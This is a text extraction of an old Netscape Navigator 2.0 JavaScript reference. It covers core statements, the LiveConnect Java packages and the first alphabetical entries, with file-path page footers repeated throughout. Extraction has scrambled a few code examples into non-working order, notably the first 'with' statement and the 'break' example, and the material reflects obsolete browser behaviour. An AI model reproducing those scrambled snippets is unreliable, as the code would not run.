Use the this keyword to refer to the current object. In general, this refers to the calling object in a method. Use this as follows: this[.propertyName] Example 1. Suppose a function called validate validates an object's value property, given the object and the high and low values: function validate(obj, lowval, hival) { if ((obj.value < lowval) || (obj.value > hival)) alert("Invalid Value!") }
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm (5 of 7) [30/08/2003 9:34:07 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm

You could call validate in each form element's onChange event handler, using this to pass it the form element, as in the following example: <B>Enter a number between 18 and 99:</B> <INPUT TYPE = "text" NAME = "age" SIZE = 3 onChange="validate(this, 18, 99)"> Example 2. When combined with the form property, this can refer to the current object's parent form. In the following example, the form myForm contains a Text object and a button. When the user clicks the button, the value of the Text object is set to the form's name. The button's onClick event handler uses this.form to refer to the parent form, myForm. <FORM NAME="myForm"> Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga"> <P> <INPUT NAME="button1" TYPE="button" VALUE="Show Form Name" onClick="this.form.text1.value=this.form.name"> </FORM>

for...in statement
The for...in statement iterates a specified variable over all the properties of an object. For each distinct property, JavaScript executes the specified statements. A for...in statement looks as follows: for (variable in object) { statements } Example. The following function takes as its argument an object and the object's name. It then iterates over all the object's properties and returns a string that lists the property names and their values. function dump_props(obj, obj_name) { var result = "" for (var i in obj) { result += obj_name + "." + i + " = " + obj[i] + "<BR>" } result += "<HR>" return result } For an object car with properties make and model, result would be: car.make = Ford car.model = Mustang

with statement
The with statement establishes the default object for a set of statements. Within the set of statements, any property references that do not specify an object are assumed to be for the default object. A with statement looks as follows:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm (6 of 7) [30/08/2003 9:34:07 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm

with (object){ statements } Example. The following with statement specifies that the Math object is the default object. The statements following the with statement refer to the PI property and the cos and sin methods, without specifying an object. JavaScript assumes the Math object for these references. var a, x, y var r=10 with (Math) a x y }

{ = PI * r * r = r * cos(PI) = r * sin(PI/2)

Comments
Comments are author notations that explain what a script does. Comments are ignored by the interpreter. JavaScript supports Java-style comments:
q q

Comments on a single line are preceded by a double-slash (//). Comments that span multiple lines are preceded by /* and followed by */:

Example. The following example shows two comments: // This is a single-line comment. /* This is a multiple-line comment. It can be of any length, and you can put whatever you want here. */

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmtsov.htm (7 of 7) [30/08/2003 9:34:07 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

Statements
avaScript statements consist of keywords used with the appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semi-colon. Syntax conventions: All keywords in syntax statements are in bold. Words in italics represent userdefined names or statements. Any portions enclosed in square brackets, [ ], are optional. {statements} indicates a block of statements, which can consist of a single statement or multiple statements delimited by a curly braces {}. The following statements are available in JavaScript:

break comment continue for for...in function if...else

new (operator) return this (operator) var while with

Note new and this are not statements, but are included in this section for convenience.

break
A statement that terminates the current while or for loop and transfers program control to the statement following the terminated loop.

Syntax
break

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (1 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

Implemented in
Navigator 2.0

Examples
The following function has a break statement that terminates the while loop when i is 3, and then returns the value 3 * x. function var i while if i++ } return i*x } testBreak(x) { = 0 (i < 6) { (i == 3) break

comment
Notations by the author to explain what a script does. Comments are ignored by the interpreter. JavaScript supports Java-style comments:
q q

Comments on a single line are preceded by a double-slash (//). Comments that span multiple lines are preceded by a /* and followed by a */.

Syntax
1. // comment text 2. /* multiple line comment text */

Implemented in
Navigator 2.0

Examples
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (2 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

// This is a single-line comment. /* This is a multiple-line comment. It can be of any length, and you can put whatever you want here. */

continue
A statement that terminates execution of the block of statements in a while or for loop, and continues execution of the loop with the next iteration. In contrast to the break statement, continue does not terminate the execution of the loop entirely: instead,
q q

In a while loop, it jumps back to the condition. In a for loop, it jumps to the update expression.

Syntax
continue

Implemented in
Navigator 2.0

Examples
The following example shows a while loop that has a continue statement that executes when the value of i is 3. Thus, n takes on the values 1, 3, 7, and 12. i = 0 n = 0 while (i < 5) { i++ if (i == 3) continue n += i }

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (3 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

for
A statement that creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a block of statements executed in the loop.

Syntax
for ([initial-expression;] [condition;] [increment-expression]) { statements }

Arguments
initial-expression is a statement or variable declaration. It is typically used to initialize a counter variable. This expression may optionally declare new variables with the var keyword. condition is evaluated on each pass through the loop. If this condition evaluates to true, the statements in statements are performed. This conditional test is optional. If omitted, the condition always evaluates to true. increment-expression is generally used to update or increment the counter variable. statements is a block of statements that are executed as long as condition evaluates to true. This can be a single statement or multiple statements. Although not required, it is good practice to indent these statements from the beginning of the for statement.

Implemented in
Navigator 2.0

Examples
The following for statement starts by declaring the variable i and initializing it to zero. It checks that i is less than nine, performs the two succeeding statements, and increments i by one after each pass through the loop. for (var i = 0; i < 9; i++) { n += i myfunc(n)
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (4 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

for...in
A statement that iterates a specified variable over all the properties of an object. For each distinct property, JavaScript executes the specified statements.

Syntax
for (variable in object) { statements }

Arguments
variable is the variable to iterate over every property. object is the object for which the properties are iterated. statements specifies the statements to execute for each property.

Implemented in
Navigator 2.0

Examples
The following function takes as its argument an object and the object's name. It then iterates over all the object's properties and returns a string that lists the property names and their values. function dump_props(obj, obj_name) { var result = "" for (var i in obj) { result += obj_name + "." + i + " = " + obj[i] + "<BR>" } result += "<HR>" return result }
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (5 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

function
A statement that declares a JavaScript function name with the specified parameters param. Acceptable parameters include strings, numbers, and objects. To return a value, the function must have a return statement that specifies the value to return. You cannot nest a function statement in another statement or in itself. All parameters are passed to functions, by value. In other words, the value is passed to the function, but if the function changes the value of the parameter, this change is not reflected globally or in the calling function. In addition to defining functions as described here, you can also define Function objects, as described in "Function".

Syntax
function name([param] [, param] [..., param]) { statements }

Arguments
name is the function name. param is the name of an argument to be passed to the function. A function can have up to 255 arguments.

Implemented in
Navigator 2.0

Examples
//This function returns the total dollar amount of sales, when //given the number of units sold of products a, b, and c. function calc_sales(units_a, units_b, units_c) { return units_a*79 + units_b*129 + units_c*699
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (6 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

if...else
A statement that executes a set of statements if a specified condition is true. If the condition is false, another set of statements can be executed.

Syntax
if (condition) { statements1 } [else { statements2}]

Arguments
condition can be any JavaScript expression that evaluates to true or false. Parentheses are required around the condition. If condition evaluates to true, the statements in statements1 are executed. statements1 and statements2 can be any JavaScript statements, including further nested if statements. Multiple statements must be enclosed in braces.

Implemented in
Navigator 2.0

Examples
if ( cipher_char == from_char ) { result = result + to_char x++ } else result = result + clear_char

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (7 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

new
An operator that lets you create an instance of a user-defined object type or of one of the built-in object types Array, Boolean, Date, Function, Math, Number, or String. Creating a user-defined object type requires two steps: 1. Define the object type by writing a function. 2. Create an instance of the object with new. To define an object type, create a function for the object type that specifies its name, properties, and methods. An object can have a property that is itself another object. See the examples below. You can always add a property to a previously defined object. For example, the statement car1.color = "black" adds a property color to car1, and assigns it a value of "black". However, this does not affect any other objects. To add the new property to all objects of the same type, you must add the property to the definition of the car object type. You can add a property to a previously defined object type by using the prototype property. This defines a property that is shared by all objects of the specified type, rather than by just one instance of the object. The following code adds a color property to all objects of type car, and then assigns a value to the color property of the object car1. For more information, see "prototype". Car.prototype.color=null car1.color="black" birthday.description="The day you were born"

Syntax
objectName = new objectType ( param1 [,param2] ...[,paramN] )

Arguments
objectName is the name of the new object instance. objectType is the object type. It must be a function that defines an object type. param1...paramN are the property values for the object. These properties are parameters defined for the objectType function.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (8 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

Implemented in
Navigator 2.0

Examples
Example 1: object type and object instance. Suppose you want to create an object type for cars. You want this type of object to be called car, and you want it to have properties for make, model, and year. To do this, you would write the following function: function car(make, model, year) { this.make = make this.model = model this.year = year } Now you can create an object called mycar as follows: mycar = new car("Eagle", "Talon TSi", 1993) This statement creates mycar and assigns it the specified values for its properties. Then the value of mycar.make is the string "Eagle", mycar.year is the integer 1993, and so on. You can create any number of car objects by calls to new. For example, kenscar = new car("Nissan", "300ZX", 1992) Example 2: object property that is itself another object. Suppose you define an object called person as follows: function person(name, age, sex) { this.name = name this.age = age this.sex = sex } And then instantiate two new person objects as follows: rand = new person("Rand McNally", 33, "M") ken = new person("Ken Jones", 39, "M")

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (9 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

Then you can rewrite the definition of car to include an owner property that takes a person object, as follows: function car(make, model, year, owner) { this.make = make; this.model = model; this.year = year; this.owner = owner; } To instantiate the new objects, you then use the following: car1 = new car("Eagle", "Talon TSi", 1993, rand); car2 = new car("Nissan", "300ZX", 1992, ken) Instead of passing a literal string or integer value when creating the new objects, the above statements pass the objects rand and ken as the parameters for the owners. To find out the name of the owner of car2, you can access the following property: car2.owner.name

return
A statement that specifies the value to be returned by a function.

Syntax
return expression

Implemented in
Navigator 2.0

Examples
The following function returns the square of its argument, x, where x is a number.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (10 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

function square( x ) { return x * x }

this
A keyword that you can use to refer to the current object. In general, in a method this refers to the calling object.

Syntax
this[.propertyName]

Implemented in
Navigator 2.0

Examples
Suppose a function called validate validates an object's value property, given the object and the high and low values: function validate(obj, lowval, hival) { if ((obj.value < lowval) || (obj.value > hival)) alert("Invalid Value!") } You could call validate in each form element's onChange event handler, using this to pass it the form element, as in the following example: <B>Enter a number between 18 and 99:</B> <INPUT TYPE = "text" NAME = "age" SIZE = 3 onChange="validate(this, 18, 99)">

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (11 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

var
A statement that declares a variable, optionally initializing it to a value. The scope of a variable is the current function or, for variables declared outside a function, the current application. Using var outside a function is optional; you can declare a variable by simply assigning it a value. However, it is good style to use var, and it is necessary in functions if a global variable of the same name exists.

Syntax
var varname [= value] [..., varname [= value] ]

Arguments
varname is the variable name. It can be any legal identifier. value is the initial value of the variable and can be any legal expression.

Implemented in
Navigator 2.0

Examples
var num_hits = 0, cust_no = 0

while
A statement that creates a loop that evaluates an expression, and if it is true, executes a block of statements. The loop then repeats, as long as the specified condition is true.

Syntax
while (condition) {

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (12 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

statements }

Arguments
condition is evaluated before each pass through the loop. If this condition evaluates to true, the statements in the succeeding block are performed. When condition evaluates to false, execution continues with the statement following statements. statements is a block of statements that are executed as long as the condition evaluates to true. Although not required, it is good practice to indent these statements from the beginning of the while statement.

Implemented in
Navigator 2.0

Examples
The following while loop iterates as long as n is less than three. n = 0 x = 0 while( n < 3 ) { n ++ x += n } Each iteration, the loop increments n and adds it to x. Therefore, x and n take on the following values:
q q q

After the first pass: n = 1 and x = 1 After the second pass: n = 2 and x = 3 After the third pass: n = 3 and x = 6

After completing the third pass, the condition n < 3 is no longer true, so the loop terminates.

with
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (13 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm

A statement that establishes the default object for a set of statements. Within the set of statements, any property references that do not specify an object are assumed to be for the default object.

Syntax
with (object){ statements }

Arguments
object specifies the default object to use for the statements. The parentheses around object are required. statements is any block of statements.

Implemented in
Navigator 2.0

Examples
The following with statement specifies that the Math object is the default object. The statements following the with statement refer to the PI property and the cos and sin methods, without specifying an object. JavaScript assumes the Math object for these references. var a, x, y var r=10 with (Math) { a = PI * r * r x = r * cos(PI) y = r * sin(PI/2) }

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/stmts.htm (14 of 14) [30/08/2003 9:34:08 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm

The Netscape packages


iveConnect has two applet API packages: netscape.javascript and netscape.plugin. The netscape.javascript applet API package has the following classes:
q q

netscape.javascript.JSObject netscape.javascript.JSException

The netscape.plugin applet API package has the following classes:


q

netscape.plugin.Plugin

The following sections describe these classes and list their constructors and methods.

netscape.javascript.JSObject
The public final class JSObject extends Object. java.lang.Object | +----netscape.javascript.JSObject JSObject allows Java to manipulate objects that are defined in JavaScript. Values passed from Java to JavaScript are converted as follows:
q q

q q q

JSObject is converted to the original JavaScript object. Any other Java object is converted to a JavaScript wrapper, which can be used to access methods and fields of the Java object. Converting this wrapper to a string will call the toString method on the original object, converting to a number will call the floatValue method if possible and fail otherwise. Converting to a boolean will try to call the booleanValue method in the same way. Java arrays are wrapped with a JavaScript object that understands array.length and array[index]. A Java boolean is converted to a JavaScript boolean. Java byte, char, short, int, long, float, and double are converted to JavaScript numbers.

Values passed from JavaScript to Java are converted as follows:


file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm (1 of 9) [30/08/2003 9:34:09 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm

q q q

Objects that are wrappers around Java objects are unwrapped. Other objects are wrapped with a JSObject. Strings, numbers, and booleans are converted to String, Float, and Boolean objects respectively.

This means that all JavaScript values show up as some kind of java.lang.Object in Java. In order to make much use of them, you will have to cast them to the appropriate subclass of Object, as shown in the following examples: (String) window.getMember("name") (JSObject) window.getMember("document") Note If you call a Java method from JavaScript, this conversion happens automatically--you can pass in "int" argument and it works.

Methods and static methods


The netscape.javascript.JSObject class has the following methods:

Method call eval getMember getSlot

Description Calls a JavaScript method Evaluates a JavaScript expression Retrieves a named member of a JavaScript object Retrieves an indexed member of a JavaScript object

removeMember Removes a named member of a JavaScript object setMember setSlot toString Sets a named member of a JavaScript object Sets an indexed member of a JavaScript object Converts a JSObject to a string

The netscape.javascript.JSObject class has the following static methods:

Method

Description

getWindow Gets a JSObject for the window containing the given applet
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm (2 of 9) [30/08/2003 9:34:09 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm

The following sections show the declaration and usage of these methods.

call
Method. Calls a JavaScript method. Equivalent to "this.methodName(args[0], args[1], ...)" in JavaScript. Declaration public Object call(String methodName, Object args[])

eval
Method. Evaluates a JavaScript expression. The expression is a string of JavaScript source code which will be evaluated in the context given by "this". Declaration public Object eval(String s)

getMember
Method. Retrieves a named member of a JavaScript object. Equivalent to "this.name" in JavaScript. Declaration public Object getMember(String name)

getSlot
Method. Retrieves an indexed member of a JavaScript object. Equivalent to "this[index]" in JavaScript. Declaration public Object getSlot(int index)

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm (3 of 9) [30/08/2003 9:34:09 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm

getWindow
Static method. Returns a JSObject for the window containing the given applet. Declaration public static JSObject getWindow(Applet applet)

removeMember
Method. Removes a named member of a JavaScript object. Declaration public void removeMember(String name)

setMember
Method. Sets a named member of a JavaScript object. Equivalent to "this.name = value" in JavaScript. Declaration public void setMember(String name, Object value)

setSlot
Method. Sets an indexed member of a JavaScript object. Equivalent to "this[index] = value" in JavaScript. Declaration public void setSlot(int index, Object value)

toString
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm (4 of 9) [30/08/2003 9:34:09 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm

Method. Converts a JSObject to a String. Overrides: toString in class Object Declaration public String toString()

netscape.javascript.JSException
The public class JSException extends Exception. java.lang.Object | +----java.lang.Throwable | +----java.lang.Exception | +----netscape.javascript.JSException JSException is an exception that is thrown when JavaScript code returns an error.

Constructors
The netscape.javascript.JSException class has the following constructors:

Constructor Description JSException Constructs a JSException. You specify whether the JSException has a detail message and other information. The following sections show the declaration and usage of these constructors.

JSException
Constructor. Constructs a JSException. You specify whether the JSException has a detail message and
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm (5 of 9) [30/08/2003 9:34:09 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm

other information. Declaration 1. public JSException() 2. public JSException(String s) 3. public JSException(String s, String filename, int lineno, String source, int tokenIndex) Arguments s is the detail message. filename is the URL of the file where the error occurred, if possible. lineno is the line number if the file, if possible. source is the string containing the JavaScript code being evaluated. tokenIndex is the index into the source string where the error occurred. Description A detail message is a string that describes this particular exception. Each form constructs a JSException with different information:
q q q

Form 1 of the declaration constructs a JSException without a detail message. Form 2 of the declaration constructs a JSException with a detail message. Form 3 of the declaration constructs a JSException with a detail message and all the other information that usually comes with a JavaScript error.

netscape.plugin.Plugin
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm (6 of 9) [30/08/2003 9:34:09 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm

The public class Plugin extends Object. java.lang.Object | +----netscape.plugin.Plugin This class represents the Java reflection of a plug-in. Plug-ins that need to have Java methods associated with them should subclass this class and add new (possibly native) methods to it. This allows other Java entities (such as applets and JavaScript code) to manipulate the plug-in.

Constructors and methods


The netscape.plugin.Plugin class has the following constructors:

Constructor Description Plugin Constructs a Plugin.

The netscape.plugin.Plugin class has the following methods:

Method destroy getPeer

Description Called when the plug-in is destroyed Returns the native NPP object--the plug-in instance that is the native part of a Java Plugin object

getWindow Returns the JavaScript window on which the plug-in is embedded init isActive Called when the plug-in is initialized Determines whether the Java reflection of a plug-in still refers to an active plug-in

The following sections show the declaration and usage of these constructors and methods.

destroy
Method. Called when the plug-in is destroyed. You never need to call this method directly, it is called when the plug-in is destroyed. At the point this method is called, the plug-in will still be active.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm (7 of 9) [30/08/2003 9:34:09 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm

Declaration public void destroy() See also init

getPeer
Method. Returns the native NPP object--the plug-in instance that is the native part of a Java Plugin object. This field is set by the system, but can be read from plug-in native methods by calling: NPP npp = (NPP)netscape_plugin_Plugin_getPeer(env, thisPlugin); Declaration public int getPeer()

getWindow
Method method. Returns the JavaScript window on which the plug-in is embedded. Declaration public JSObject getWindow()

init
Method. Called when the plug-in is initialized. You never need to call this method directly, it is called when the plug-in is created. Declaration public void init() See also

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm (8 of 9) [30/08/2003 9:34:09 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm

destroy

isActive
Method. Determines whether the Java reflection of a plug-in still refers to an active plug-in. Plug-in instances are destroyed whenever the page containing the plug-in is left, thereby causing the plug-in to no longer be active. Declaration public boolean isActive()

Plugin
Constructor. Constructs a Plugin. Declaration public Plugin()

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/packages.htm (9 of 9) [30/08/2003 9:34:09 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Navigator JavaScript reference


his chapter is an alphabetical reference of all objects, properties, methods, event handlers, and functions. For each property, the "Tainted?" section indicates whether the property is tainted by default. For information on tainting, see "Using data tainting for security", "taint", and "untaint".

abs
Method. Returns the absolute value of a number.

Syntax
Math.abs(number)

Parameters
number is any numeric expression or a property of an existing object.

Method of
Math

Implemented in
Navigator 2.0

Examples
The following function returns the absolute value of the variable x: function getAbs(x) { return Math.abs(x) }

acos
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (1 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Method. Returns the arc cosine (in radians) of a number.

Syntax
Math.acos(number)

Parameters
number is a numeric expression between -1 and 1, or a property of an existing object.

Method of
Math

Implemented in
Navigator 2.0

Description
The acos method returns a numeric value between zero and pi radians. If the value of number is outside this range, it returns zero.

Examples
The following function returns the arc cosine of the variable x: function getAcos(x) { return Math.acos(x) } If you pass getAcos the value -1, it returns 3.141592653589793; if you pass it the value two, it returns zero because two is out of range.

See also
asin, atan, atan2, cos, sin, tan methods

action
Property. A string specifying a destination URL for form data that is submitted.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (2 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Syntax
formName.action

Parameters
formName is either the name of a form or an element in the forms array.

Property of
Form object

Implemented in
Navigator 2.0

Tainted?
Yes

Description
The action property is a reflection of the ACTION attribute of the <FORM> tag. Each section of a URL contains different information. See the location object for a description of the URL components. You can set the action property at any time.

Examples
The following example sets the action property of the musicForm form to the value of the variable urlName: document.musicForm.action=urlName

See also
encoding, method, target properties; Form object

alert
Method. Displays an Alert dialog box with a message and an OK button.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (3 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Syntax
alert("message")

Parameters
message is any string or a property of an existing object.

Method of
window object

Implemented in
Navigator 2.0

Description
An alert dialog box looks as follows:
Click for sample alert dialog box

Use the alert method to display a message that does not require a user decision. The message argument specifies a message that the dialog box contains. Although alert is a method of the window object, you do not need to specify a windowReference when you call it. For example, windowReference.alert() is unnecessary. You cannot specify a title for an alert dialog box, but you can use the open method to create your own "alert" dialog. See open (window object).

Examples
In the following example, the testValue function checks the name entered by a user in the Text object of a form to make sure that it is no more than eight characters in length. This example uses the alert method to prompt the user to enter a valid value. function testValue(textElement) { if (textElement.length > 8) { alert("Please enter a name that is 8 characters or less") } } You can call the testValue function in the onBlur event handler of a form's Text object, as shown in the following
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (4 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

example: Name: <INPUT TYPE="text" NAME="userName" onBlur="testValue(userName.value)">

See also
confirm, prompt methods

alinkColor
Property. A string specifying the color of an active link (after mouse-button down, but before mouse-button up).

Syntax
document.alinkColor

Property of
document

Implemented in
Navigator 2.0

Tainted?
No

Description
The alinkColor property is expressed as a hexadecimal RGB triplet or as one of the string literals listed in "Color values". This property is the JavaScript reflection of the ALINK attribute of the <BODY> tag. You cannot set this property after the HTML source has been through layout. If you express the color as a hexadecimal RGB triplet, you must use the format rrggbb. For example, the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the RGB triplet for salmon is "FA8072."

Examples
The following example sets the color of active links using a string literal:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (5 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

document.alinkColor="aqua" The following example sets the color of active links to aqua using a hexadecimal triplet: document.alinkColor="00FFFF"

See also
bgColor, fgColor, linkColor, vlinkColor properties

anchor method
Method. Creates an HTML anchor that is used as a hypertext target.

Syntax
text.anchor(nameAttribute)

Parameters
text is any string or a property of an existing object. nameAttribute is any string or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
Use the anchor method with the write or writeln methods to programmatically create and display an anchor in a document. Create the anchor with the anchor method, and then call write or writeln to display the anchor in a document. In the syntax, the text string represents the literal text that you want the user to see. The nameAttribute string represents the NAME attribute of the <A> tag.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (6 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Anchors created with the anchor method become elements in the anchors array. See the Anchor object for information about the anchors array.

Examples
The following example opens the msgWindow window and creates an anchor for the Table of Contents: var myString="Table of Contents" msgWindow.document.writeln(myString.anchor("contents_anchor")) The previous example produces the same output as the following HTML: <A NAME="contents_anchor">Table of Contents</A>

See also
link method

Anchor object
Object. A place in a document that is the target of a hypertext link.

HTML syntax
To define an anchor, use standard HTML syntax: <A [HREF=locationOrURL] NAME="anchorName" [TARGET="windowName"]> anchorText </A> You can also define an anchor using the anchor method.

HTML attributes
HREF=locationOrURL is used only if the anchor is also a link. It identifies a destination anchor or URL for the link. See the Link object for details. NAME="anchorName" specifies a name for the anchor. A link to the anchor uses this value for its HREF attribute. You can use this name when indexing the anchors array.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (7 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

TARGET="windowName" is used only if the anchor is also a link. It specifies the window that the link is loaded into. See the Link object for details. anchorText specifies the text or HTML source to display at the anchor.

Property of
document

Implemented in
Navigator 2.0

Description
If an Anchor object is also a Link object, the object has entries in both the anchors and links arrays. The anchors array You can reference the Anchor objects in your code by using the anchors array. This array contains an entry for each <A> tag containing a NAME attribute in a document in source order. For example, if a document contains three named anchors, these anchors are reflected as document.anchors[0], document.anchors[1], and document.anchors[2]. To use the anchors array: 1. document.anchors[index] 2. document.anchors.length index is an integer representing an anchor in a document or the name of an Anchor object as specified by the NAME attribute. To obtain the number of anchors in a document, use the length property: document.anchors.length. If a document names anchors in a systematic way using natural numbers, you can use the anchors array and its length property to validate an anchor name before using it in operations such as setting location.hash. See the example below. Elements in the anchors array are read-only. For example, the statement document.anchors[0]="anchor1" has no effect.

Properties
The anchors object has no properties. The anchors array has the following properties:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (8 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Property Description length Reflects the number of named anchors in the document

Methods
q q q

eval toString valueOf

Event handlers
None.

Examples
Example 1: An anchor. The following example defines an anchor for the text "Welcome to JavaScript": <A NAME="javascript_intro"><H2>Welcome to JavaScript</H2></A> If the preceding anchor is in a file called intro.html, a link in another file could define a jump to the anchor as follows: <A HREF="intro.html#javascript_intro">Introduction</A> Example 2: anchors array. The following example opens two windows. The first window contains a series of buttons that set location.hash in the second window to a specific anchor. The second window defines four anchors named "0," "1," "2," and "3." (The anchor names in the document are therefore 0, 1, 2, ... (document.anchors.length-1).) When a button is pressed in the first window, the onClick event handler verifies that the anchor exists before setting window2.location.hash to the specified anchor name. link1.html, which defines the first window and its buttons, contains the following code: <HTML> <HEAD> <TITLE>Links and Anchors: Window 1</TITLE> </HEAD> <BODY> <SCRIPT> window2=open("link2.html","secondLinkWindow", "scrollbars=yes,width=250, height=400") function linkToWindow(num) { if (window2.document.anchors.length > num) window2.location.hash=num else alert("Anchor does not exist!")

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (9 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

